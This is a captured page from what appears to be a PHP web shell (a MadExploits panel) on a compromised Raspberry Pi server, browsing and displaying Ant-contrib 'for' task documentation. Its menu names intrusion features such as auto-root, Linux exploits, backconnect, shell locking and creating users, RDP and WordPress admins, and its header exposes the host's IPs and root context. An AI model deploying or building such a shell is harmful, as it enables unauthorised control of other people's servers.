Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
ant-contrib /
manual /
tasks /
[ HOME SHELL ]
Name
Size
Permission
Action
antcallback_task.html
4.29
KB
-rw-r--r--
antclipse_task.html
15.34
KB
-rw-r--r--
antfetch_task.html
3.96
KB
-rw-r--r--
assert_task.html
5.78
KB
-rw-r--r--
compilewithwalls.html
6.56
KB
-rw-r--r--
for.html
8.64
KB
-rw-r--r--
foreach.html
5.23
KB
-rw-r--r--
forget.html
1.72
KB
-rw-r--r--
get-cookie_task.html
2.65
KB
-rw-r--r--
get-method_task.html
524
B
-rw-r--r--
head-method_task.html
523
B
-rw-r--r--
http-client_type.html
6.16
KB
-rw-r--r--
http-state_type.html
4.81
KB
-rw-r--r--
if.html
3.24
KB
-rw-r--r--
importurl.html
7.63
KB
-rw-r--r--
index.html
365
B
-rw-r--r--
inifile.html
3.17
KB
-rw-r--r--
limit_task.html
4.42
KB
-rw-r--r--
math_task.html
9.92
KB
-rw-r--r--
method_task_common.html
7.26
KB
-rw-r--r--
more_conditions.html
6.54
KB
-rw-r--r--
osfamily.html
1.07
KB
-rw-r--r--
outofdate.html
10.1
KB
-rw-r--r--
pathtofileset.html
2.46
KB
-rw-r--r--
performance_monitor.html
4.36
KB
-rw-r--r--
post-method_task.html
4.13
KB
-rw-r--r--
post_task.html
7.63
KB
-rw-r--r--
propertycopy.html
2.28
KB
-rw-r--r--
propertyregex.html
4.57
KB
-rw-r--r--
propertyselector.html
4.18
KB
-rw-r--r--
relentless.html
4.6
KB
-rw-r--r--
runtarget.html
834
B
-rw-r--r--
server_tasks.html
8.5
KB
-rw-r--r--
shellscript.html
4.16
KB
-rw-r--r--
sortlist.html
4.78
KB
-rw-r--r--
stopwatch_task.html
2.34
KB
-rw-r--r--
switch.html
2.21
KB
-rw-r--r--
throw.html
1.1
KB
-rw-r--r--
timestampselector.html
4.36
KB
-rw-r--r--
toc.html
3.41
KB
-rw-r--r--
trycatch.html
2.75
KB
-rw-r--r--
urlencode.html
2.47
KB
-rw-r--r--
variable_task.html
6.02
KB
-rw-r--r--
verifydesign.html
14.37
KB
-rw-r--r--
verifylegacytutorial.html
4.34
KB
-rw-r--r--
verifynewprojtutorial.html
1.54
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : for.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Ant-contrib Tasks: For</title> </head> <body> <h1>For</h1> <p>The for task iterates over a list, a list of paths, or any type that has a public iterator() method. The list will be evaluated first. Nested paths are evaluated in the order they appear in the task. Nested types will then be evalulated. </p> <p> This task is the same as the <foreach> task, except that <ul> <li>it uses a nested sequential for each iteration; and <li>it implements an additional "keepgoing" attribute. </ul> <for> makes use of ant's macrodef task, so the @{} notation is used for parameter substition. </p> <p><em> This task only works for ant version greater than or equal to ant 1.6.0. </em> </p> <h2>Parameters</h2> <table border="1" cellpadding="2" cellspacing="0"> <tr> <th>Attribute</th> <th>Description</th> <th>Required</th> </tr> <tr> <td valign="top">list</td> <td valign="top">The list of values to process, with the delimiter character, indicated by the "delimiter" attribute, separating each value.</td> <td align="center" valign="top" rowspan="2">Yes, one of these need to be set, unless a nested path has been specified.</td> </tr> <tr> <td valign="top">end</td> <td valign="top"> Sets the ending index value. If this attribute is set, the <for> task will loop from "start" (default 1) to "end", using "step" (default 1) increments. </td> </tr> <tr> <td valign="top">param</td> <td valign="top">Name of the parameter to pass the tokens or files in as to the sequential.</td> <td align="center" valign="top">Yes</td> </tr> <tr> <td valign="top">delimiter</td> <td valign="top">The delimiter characters that separates the values in the "list" attribute. Each character in the supplied string can act as a delimiter. This follows the semantics of the StringTokenizer class.</td> <td align="center" valign="top">No, defaults to ",".</td> </tr> <tr> <td valign="top">parallel</td> <td valign="top">If <code>true</code>, all iterations of the nested <sequential> will execute in parallel. Defaults to <code>false</code>, which forces sequential execution of the iterations. It is up to the caller to ensure that parallel execution is safe. <td align="center" valign="top">No</td> </tr> <tr> <td valign="top">keepgoing</td> <td valign="top">If <code>true</code>, all iterations of the called <sequential> will be executed, even if a task in one or more of them fails. Defaults to <code>false</code>, which forces execution to stop as soon as a task fails. At the end, if any iterator has failed, the <for> task will fail, otherwise <for> will succeed. <p> Note that execution does not proceed keepgoing from one task to the next within the <sequential>, but rather from one iteration to the next. </p> <p>It is up to the caller to ensure that keepgoing execution is safe.</p> </td> <td align="center" valign="top">No</td> </tr> <tr> <td valign="top">threadCount</td> <td valign="top">The maximum number of allowable threads when executing in parallel. <td align="center" valign="top">No. Defaults to 5.</td> </tr> <tr> <td valign="top">trim</td> <td valign="top">If <code>true</code>, any leading or trailing whitespace will be removed from the list item before it is passed to the sequential. </td> <td align="center" valign="top">No. Defaults to false.</td> </tr> <tr> <td valign="top">begin</td> <td valign="top"> Sets the starting index value. This in only used if the "end" attribute is set. </td> <td align="center" valign="top">No. Defaults to "1".</td> </tr> <tr> <td valign="top">step</td> <td valign="top"> Sets the index increment step. This in only used if the "end" attribute is set. </td> <td align="center" valign="top">No. Defaults to "1".</td> </tr> </table> <h2>Parameters specified as nested elements</h2> <a name="path"><h3>path</h3></a> <p><a href="http://ant.apache.org/manual/using.html#path">Path</a>s are used to select sets of files or directories to iterate over.</p> <p>Using a path allows you to determine the order by which files are considered by using <a href="http://ant.apache.org/manual/CoreTypes/filelist.html">filelist</a>s or explicit <code>pathelements</code>. You also can specify whether you want to iterate over files or directories by chosing either filesets or <a href="http://ant.apache.org/manual/CoreTypes/dirset.html">dirset</a>s.</p> <a name="fileset"><h3>fileset</h3></a> <p><a href="http://ant.apache.org/manual/CoreTypes/fileset.html">FileSet</a>s are used to select sets of files to iterate over. </p> <a name="fileset"><h3>dirset</h3></a> <p><a href="http://ant.apache.org/manual/CoreTypes/dirset.html">DirSet</a>s are used to select sets of directories to iterate over. </p> <a name="seqential"><h3>sequential</h3></a> This is the list of tasks to be run for each iteration of the list. <h3>Example</h3> <p> To print out the first five letters of the latin alphabet: </p> <blockquote> <pre> <echo message="The first five letters of the alphabet are:"/> <for list="a,b,c,d,e" param="letter"> <sequential> <echo>Letter @{letter}</echo> </sequential> </for> </pre> </blockquote> <p> A more complicated example to to iterate over a set of c++ source files and invoke the <cc> task on them: </p> <blockquote> <pre> <for param="file"> <path> <fileset dir="${test.dir}/mains" includes="*.cpp"/> </path> <sequential> <propertyregex override="yes" property="program" input="@{file}" regexp=".*/([^\.]*)\.cpp" replace="\1"/> <mkdir dir="${obj.dir}/${program}"/> <mkdir dir="${build.bin.dir}"/> <cc link="executable" objdir="${obj.dir}/${program}" outfile="${build.bin.dir}/${program}"> <compiler refid="compiler.options"/> <fileset file="@{file}"/> <linker refid="linker-libs"/> </cc> </sequential> </for> </pre> </blockquote> The preceding example will stop as soon as one of the <cc> tasks fails. If you change the first line of the example to <pre> <for param="file" keepgoing="true"></pre> All iterations will be executed, and then <for> will fail if any one or more of the <cc> tasks failed. <p> The following example embeds an outofdate type and iterates over the sources that are newer than their corresponding targets. </p> <pre> <ac:for param="xmlfile" xmlns:ac="antlib:net.sf.antcontrib"> <ac:outofdate> <ac:sourcefiles> <ac:fileset dir="${basedir}/xdocs" includes="**/*.xml"/> </ac:sourcefiles> <ac:mapper dir="${basedir}/xdocs" type="glob" from="*.xml" to="${basedir}/docs/*.html"/> </ac:outofdate> <ac:sequential> <echo>Need to generate a target html file from source file @{xmlfile}</echo> </ac:sequential> </ac:for> </pre> <p> The following example loops from one to ten. </p> <pre> <ac:for param="i" end="10"> <sequential> <echo>i is @{i}</echo> </sequential> </ac:for> </pre> <p> The following example counts down from 10 to 0 in steps of -2. </p> <pre> <ac:for param="i" begin="10" step="-2" end="0"> <sequential> <echo>i is @{i}</echo> </sequential> </ac:for> </pre> <hr> <p align="center">Copyright © 2003-2006 Ant-Contrib Project. All rights Reserved.</p> </body> </html>
Close